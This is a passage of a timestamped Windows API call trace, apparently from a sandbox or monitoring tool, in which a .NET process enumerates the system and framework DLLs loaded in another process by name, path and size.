[0074.964] CoTaskMemFree (pv=0xfb0d90) [0074.964] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.964] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74710000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0074.964] CoTaskMemFree (pv=0xfb0d90) [0074.964] GetModuleInformation (in: hProcess=0xec, hModule=0x74680000, lpmodinfo=0x2fdd9d4, cb=0xc | out: lpmodinfo=0x2fdd9d4*(lpBaseOfDll=0x74680000, SizeOfImage=0x20000, EntryPoint=0x7468c9a0)) returned 1 [0074.964] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.964] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74680000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0074.964] CoTaskMemFree (pv=0xfb0d90) [0074.964] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.964] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74680000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0074.965] CoTaskMemFree (pv=0xfb0d90) [0074.965] GetModuleInformation (in: hProcess=0xec, hModule=0x74670000, lpmodinfo=0x2fdfae0, cb=0xc | out: lpmodinfo=0x2fdfae0*(lpBaseOfDll=0x74670000, SizeOfImage=0xa000, EntryPoint=0x74672a00)) returned 1 [0074.965] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.965] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74670000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0074.965] CoTaskMemFree (pv=0xfb0d90) [0074.965] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.965] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74670000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0074.965] CoTaskMemFree (pv=0xfb0d90) [0074.965] GetModuleInformation (in: hProcess=0xec, hModule=0x74da0000, lpmodinfo=0x2fe1bf4, cb=0xc | out: lpmodinfo=0x2fe1bf4*(lpBaseOfDll=0x74da0000, SizeOfImage=0x57000, EntryPoint=0x74ddde40)) returned 1 [0074.966] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.966] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74da0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0074.966] CoTaskMemFree (pv=0xfb0d90) [0074.966] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.966] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74da0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0074.966] CoTaskMemFree (pv=0xfb0d90) [0074.966] GetModuleInformation (in: hProcess=0xec, hModule=0x75fb0000, lpmodinfo=0x2fe3d28, cb=0xc | out: lpmodinfo=0x2fe3d28*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x41000, EntryPoint=0x75fc3400)) returned 1 [0074.967] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.967] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75fb0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0074.967] CoTaskMemFree (pv=0xfb0d90) [0074.967] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.967] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75fb0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0074.967] CoTaskMemFree (pv=0xfb0d90) [0074.967] GetModuleInformation (in: hProcess=0xec, hModule=0x75b70000, lpmodinfo=0x2fe5e34, cb=0xc | out: lpmodinfo=0x2fe5e34*(lpBaseOfDll=0x75b70000, SizeOfImage=0x21000, EntryPoint=0x75b76900)) returned 1 [0074.967] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.967] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75b70000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0074.967] CoTaskMemFree (pv=0xfb0d90) [0074.967] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.967] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75b70000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0074.967] CoTaskMemFree (pv=0xfb0d90) [0074.968] GetModuleInformation (in: hProcess=0xec, hModule=0x76290000, lpmodinfo=0x2fe7f38, cb=0xc | out: lpmodinfo=0x2fe7f38*(lpBaseOfDll=0x76290000, SizeOfImage=0x158000, EntryPoint=0x7634a9c0)) returned 1 [0074.968] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.968] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76290000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd [0074.968] CoTaskMemFree (pv=0xfb0d90) [0074.968] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.968] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76290000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0074.968] CoTaskMemFree (pv=0xfb0d90) [0074.968] GetModuleInformation (in: hProcess=0xec, hModule=0x77b30000, lpmodinfo=0x2fea04c, cb=0xc | out: lpmodinfo=0x2fea04c*(lpBaseOfDll=0x77b30000, SizeOfImage=0x79000, EntryPoint=0x77b44180)) returned 1 [0074.968] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.968] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77b30000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0074.968] CoTaskMemFree (pv=0xfb0d90) [0074.969] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.969] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77b30000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0074.969] CoTaskMemFree (pv=0xfb0d90) [0074.969] GetModuleInformation (in: hProcess=0xec, hModule=0x74b70000, lpmodinfo=0x2fec160, cb=0xc | out: lpmodinfo=0x2fec160*(lpBaseOfDll=0x74b70000, SizeOfImage=0x13c000, EntryPoint=0x74b9b3d0)) returned 1 [0074.969] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.969] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74b70000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0074.969] CoTaskMemFree (pv=0xfb0d90) [0074.969] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.969] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74b70000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0074.969] CoTaskMemFree (pv=0xfb0d90) [0074.969] GetModuleInformation (in: hProcess=0xec, hModule=0x74ac0000, lpmodinfo=0x2fee2f8, cb=0xc | out: lpmodinfo=0x2fee2f8*(lpBaseOfDll=0x74ac0000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0074.970] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.970] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74ac0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0074.970] CoTaskMemFree (pv=0xfb0d90) [0074.970] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.970] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74ac0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0074.970] CoTaskMemFree (pv=0xfb0d90) [0074.970] GetModuleInformation (in: hProcess=0xec, hModule=0x75bb0000, lpmodinfo=0x2ff0404, cb=0xc | out: lpmodinfo=0x2ff0404*(lpBaseOfDll=0x75bb0000, SizeOfImage=0x96000, EntryPoint=0x75be8f60)) returned 1 [0074.970] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.970] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75bb0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0074.970] CoTaskMemFree (pv=0xfb0d90) [0074.970] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.970] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75bb0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0074.971] CoTaskMemFree (pv=0xfb0d90) [0074.971] GetModuleInformation (in: hProcess=0xec, hModule=0x742b0000, lpmodinfo=0x2ff2518, cb=0xc | out: lpmodinfo=0x2ff2518*(lpBaseOfDll=0x742b0000, SizeOfImage=0xf000, EntryPoint=0x742b2bd0)) returned 1 [0074.971] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.971] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742b0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="WTSAPI32.dll") returned 0xc [0074.971] CoTaskMemFree (pv=0xfb0d90) [0074.971] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.971] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742b0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\WTSAPI32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")) returned 0x20 [0074.972] CoTaskMemFree (pv=0xfb0d90) [0074.972] GetModuleInformation (in: hProcess=0xec, hModule=0x77a30000, lpmodinfo=0x2ff462c, cb=0xc | out: lpmodinfo=0x2ff462c*(lpBaseOfDll=0x77a30000, SizeOfImage=0xbd000, EntryPoint=0x77a655e0)) returned 1 [0074.972] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.972] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77a30000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0074.972] CoTaskMemFree (pv=0xfb0d90) [0074.972] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.972] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77a30000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0074.972] CoTaskMemFree (pv=0xfb0d90) [0074.972] GetModuleInformation (in: hProcess=0xec, hModule=0x74e20000, lpmodinfo=0x2ff6738, cb=0xc | out: lpmodinfo=0x2ff6738*(lpBaseOfDll=0x74e20000, SizeOfImage=0x25000, EntryPoint=0x74e247d0)) returned 1 [0074.972] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.972] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74e20000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0074.972] CoTaskMemFree (pv=0xfb0d90) [0074.973] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.973] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74e20000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0074.973] CoTaskMemFree (pv=0xfb0d90) [0074.973] GetModuleInformation (in: hProcess=0xec, hModule=0x75ba0000, lpmodinfo=0x2ff883c, cb=0xc | out: lpmodinfo=0x2ff883c*(lpBaseOfDll=0x75ba0000, SizeOfImage=0xe000, EntryPoint=0x75ba3e30)) returned 1 [0074.973] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.973] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75ba0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0074.973] CoTaskMemFree (pv=0xfb0d90) [0074.973] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.973] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75ba0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0074.973] CoTaskMemFree (pv=0xfb0d90) [0074.973] GetModuleInformation (in: hProcess=0xec, hModule=0x74550000, lpmodinfo=0x2ffa968, cb=0xc | out: lpmodinfo=0x2ffa968*(lpBaseOfDll=0x74550000, SizeOfImage=0x78000, EntryPoint=0x745885b0)) returned 1 [0074.974] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.974] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74550000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0074.974] CoTaskMemFree (pv=0xfb0d90) [0074.974] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.974] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74550000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0074.974] CoTaskMemFree (pv=0xfb0d90) [0074.974] GetModuleInformation (in: hProcess=0xec, hModule=0x744c0000, lpmodinfo=0x2ffca74, cb=0xc | out: lpmodinfo=0x2ffca74*(lpBaseOfDll=0x744c0000, SizeOfImage=0x55000, EntryPoint=0x744f0a30)) returned 1 [0074.974] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.974] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x744c0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="mscoree.dll") returned 0xb [0074.974] CoTaskMemFree (pv=0xfb0d90) [0074.974] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.975] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x744c0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0074.975] CoTaskMemFree (pv=0xfb0d90) [0074.975] GetModuleInformation (in: hProcess=0xec, hModule=0x761b0000, lpmodinfo=0x2ffeb80, cb=0xc | out: lpmodinfo=0x2ffeb80*(lpBaseOfDll=0x761b0000, SizeOfImage=0x77000, EntryPoint=0x761ce5b0)) returned 1 [0074.975] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.975] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x761b0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0074.975] CoTaskMemFree (pv=0xfb0d90) [0074.975] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.975] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x761b0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0074.975] CoTaskMemFree (pv=0xfb0d90) [0074.975] GetModuleInformation (in: hProcess=0xec, hModule=0x74440000, lpmodinfo=0x3000c94, cb=0xc | out: lpmodinfo=0x3000c94*(lpBaseOfDll=0x74440000, SizeOfImage=0x7d000, EntryPoint=0x74443c80)) returned 1 [0074.975] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.975] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74440000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0074.976] CoTaskMemFree (pv=0xfb0d90) [0074.976] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.976] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74440000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0074.976] CoTaskMemFree (pv=0xfb0d90) [0074.976] GetModuleInformation (in: hProcess=0xec, hModule=0x73bc0000, lpmodinfo=0x3002ddc, cb=0xc | out: lpmodinfo=0x3002ddc*(lpBaseOfDll=0x73bc0000, SizeOfImage=0x6e6000, EntryPoint=0x73bd83d0)) returned 1 [0074.976] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.976] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73bc0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0074.976] CoTaskMemFree (pv=0xfb0d90) [0074.977] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.977] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73bc0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0074.977] CoTaskMemFree (pv=0xfb0d90) [0074.977] GetModuleInformation (in: hProcess=0xec, hModule=0x75f60000, lpmodinfo=0x3004f0c, cb=0xc | out: lpmodinfo=0x3004f0c*(lpBaseOfDll=0x75f60000, SizeOfImage=0x45000, EntryPoint=0x75f79260)) returned 1 [0074.977] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.977] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75f60000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0074.977] CoTaskMemFree (pv=0xfb0d90) [0074.977] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.977] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75f60000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0074.977] CoTaskMemFree (pv=0xfb0d90) [0074.977] GetModuleInformation (in: hProcess=0xec, hModule=0x74340000, lpmodinfo=0x3007018, cb=0xc | out: lpmodinfo=0x3007018*(lpBaseOfDll=0x74340000, SizeOfImage=0xf5000, EntryPoint=0x74394180)) returned 1 [0074.977] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.977] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74340000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0074.978] CoTaskMemFree (pv=0xfb0d90) [0074.978] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.978] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74340000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0074.978] CoTaskMemFree (pv=0xfb0d90) [0074.978] GetModuleInformation (in: hProcess=0xec, hModule=0x72830000, lpmodinfo=0x300914c, cb=0xc | out: lpmodinfo=0x300914c*(lpBaseOfDll=0x72830000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0074.978] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.978] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x72830000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0074.978] CoTaskMemFree (pv=0xfb0d90) [0074.978] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.978] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x72830000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0074.979] CoTaskMemFree (pv=0xfb0d90) [0074.979] GetModuleInformation (in: hProcess=0xec, hModule=0x74320000, lpmodinfo=0x300b2f4, cb=0xc | out: lpmodinfo=0x300b2f4*(lpBaseOfDll=0x74320000, SizeOfImage=0x13000, EntryPoint=0x74326c40)) returned 1 [0074.979] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.979] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74320000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0074.979] CoTaskMemFree (pv=0xfb0d90) [0074.979] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.979] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74320000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0074.979] CoTaskMemFree (pv=0xfb0d90) [0074.979] GetModuleInformation (in: hProcess=0xec, hModule=0x742f0000, lpmodinfo=0x300d400, cb=0xc | out: lpmodinfo=0x300d400*(lpBaseOfDll=0x742f0000, SizeOfImage=0x2f000, EntryPoint=0x742fc000)) returned 1 [0074.979] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.979] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742f0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0074.980] CoTaskMemFree (pv=0xfb0d90) [0074.980] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.980] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742f0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0074.980] CoTaskMemFree (pv=0xfb0d90) [0074.980] GetModuleInformation (in: hProcess=0xec, hModule=0x742d0000, lpmodinfo=0x300f618, cb=0xc | out: lpmodinfo=0x300f618*(lpBaseOfDll=0x742d0000, SizeOfImage=0x18000, EntryPoint=0x742d8f30)) returned 1 [0074.980] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.980] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742d0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0074.980] CoTaskMemFree (pv=0xfb0d90) [0074.980] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.980] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742d0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0074.980] CoTaskMemFree (pv=0xfb0d90) [0074.980] GetModuleInformation (in: hProcess=0xec, hModule=0x727b0000, lpmodinfo=0x3011724, cb=0xc | out: lpmodinfo=0x3011724*(lpBaseOfDll=0x727b0000, SizeOfImage=0x80000, EntryPoint=0x727b1180)) returned 1 [0074.981] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.987] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x727b0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0074.987] CoTaskMemFree (pv=0xfb0d90) [0074.987] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.988] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x727b0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0074.988] CoTaskMemFree (pv=0xfb0d90) [0074.988] GetModuleInformation (in: hProcess=0xec, hModule=0x71dd0000, lpmodinfo=0x3013864, cb=0xc | out: lpmodinfo=0x3013864*(lpBaseOfDll=0x71dd0000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0074.988] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.988] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71dd0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0074.988] CoTaskMemFree (pv=0xfb0d90) [0074.988] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.988] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71dd0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0074.988] CoTaskMemFree (pv=0xfb0d90) [0074.988] GetModuleInformation (in: hProcess=0xec, hModule=0x71c30000, lpmodinfo=0x3015a00, cb=0xc | out: lpmodinfo=0x3015a00*(lpBaseOfDll=0x71c30000, SizeOfImage=0x194000, EntryPoint=0x0)) returned 1 [0074.989] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.989] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71c30000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0074.989] CoTaskMemFree (pv=0xfb0d90) [0074.989] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.989] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71c30000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\5b307e2b9719b21749a8c73127ab5f45\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\5b307e2b9719b21749a8c73127ab5f45\\system.drawing.ni.dll")) returned 0x74 [0074.989] CoTaskMemFree (pv=0xfb0d90) [0074.989] GetModuleInformation (in: hProcess=0xec, hModule=0x70f30000, lpmodinfo=0x3017bcc, cb=0xc | out: lpmodinfo=0x3017bcc*(lpBaseOfDll=0x70f30000, SizeOfImage=0xcf2000, EntryPoint=0x0)) returned 1 [0074.989] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.989] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x70f30000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0074.989] CoTaskMemFree (pv=0xfb0d90) [0074.989] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.989] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x70f30000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\02d3b6022cc1ee466eb660dedcff59aa\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\02d3b6022cc1ee466eb660dedcff59aa\\system.windows.forms.ni.dll")) returned 0x80 [0074.990] CoTaskMemFree (pv=0xfb0d90) [0074.990] GetModuleInformation (in: hProcess=0xec, hModule=0x76180000, lpmodinfo=0x3019dbc, cb=0xc | out: lpmodinfo=0x3019dbc*(lpBaseOfDll=0x76180000, SizeOfImage=0x6000, EntryPoint=0x76181460)) returned 1 [0074.990] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.990] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76180000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0074.990] CoTaskMemFree (pv=0xfb0d90) [0074.990] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.990] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76180000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0074.990] 